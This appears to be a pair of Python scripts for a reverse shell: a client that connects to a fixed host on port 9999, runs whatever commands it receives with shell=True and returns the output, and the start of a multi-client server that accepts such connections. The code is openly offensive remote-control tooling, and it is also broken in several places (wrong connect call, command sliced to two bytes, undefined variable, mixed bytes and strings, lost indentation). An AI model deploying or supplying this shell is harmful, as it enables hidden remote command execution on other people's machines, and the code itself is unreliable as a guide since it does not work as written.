# Client.py
import socket
import os
import subprocess
s = socket.socket()
host = '192.168.1.5'
port = 9999
s.connect(host,port)
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[:2].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:2].decode("utf-8"),shell='True',stdout=subprocess.PIPE,stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,'utf-8')
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str) + currentWD)
print(output_str)
# Server-Multi_Clinet_Support.py
import socket
import sys
import threading
import time
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_address = []
# Create a Socket (Connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
print("Socket Creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port" + str(port))
s.bind((host,port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error: " + str(msg) + "\n" + "Retrying...")
bind_socket()
# Handing connection from multiple clients
# Closing previous connecitons when server.py file is restarted
def accepting_connection():
for c in all_connections:
c.close()
del all_connections[:]
del all_address[:]
while True:
try:
conn,address = s.accept()
s.setblocking(1) # prevents timeout
all_connections.append(conn)
add_address.append(address)
print("Connection has been established: " + address[0])
except:
print("Error: accepting connections!")